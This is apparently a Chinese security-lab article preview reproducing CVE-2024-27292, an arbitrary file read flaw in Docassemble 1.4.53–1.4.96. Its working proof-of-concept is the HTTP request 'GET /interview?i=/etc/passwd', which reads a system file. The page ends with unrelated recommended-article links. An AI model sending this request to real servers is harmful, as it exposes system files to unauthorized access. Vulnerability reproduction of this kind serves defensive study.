【成功复现】Docassemble任意文件读取漏洞(CVE-2024-27292)

弥天安全实验室 · 公众号 · · 2024-07-09 12:29

文章预览

网安引领时代，弥天点亮未来 0x00写在前面本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！ 0x01漏洞介绍 Docassemble是Jonathan Pyle个人开发者的一个免费的开源专家系统，用于指导访谈和文档组装。 Docassemble 1.4.53至1.4.96版本存在安全漏洞，该漏洞源于允许攻击者通过操作URL获得对系统信息的未授权的访问。 0x02影响版本 Docassemble Docassemble 1.4.96 Docassemble Docassemble 1.4.53 0x03漏洞复现 1.访问漏洞环境 2.对漏洞进行复现 POC 漏洞复现 GET /interview?i=/etc/passwd HTTP/1.1 Host : 127.0.0.1 User-Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400) 文件读取成功。 3. Yakit工具加载nuclei文件测试（漏洞存在） 0x04修复建议目 ………………………………

原文地址：访问原文地址
快照地址：访问文章快照
总结与预览地址：访问总结与预览

分享到微博

推荐文章

环球物理 · 【教学参考】中学物理试卷排版格式

昨天

自贡网 · 最新公告！四川将组织新高考演练！

昨天

四川大学本科招生 · 妙想盛开科技迭新，奇思斗艳学子“双创” | 全国大学生创新年会在川大举行

3 天前

四川大学本科招生 · 妙想盛开科技迭新，奇思斗艳学子“双创” | 全国大学生创新年会在川大举行

3 天前

自贡网 · 国网自贡供电公司电网检修公告（11.11-11.17)

6 天前

懒猫的丰收日 · 发车！9月调整如期而至

2 月前

中国农业银行内蒙古分行 · 秋分｜繁茂秋分至共庆丰收时

1 月前

木禾投研 · 10万亿化债，会拉动股市上涨吗？

4 天前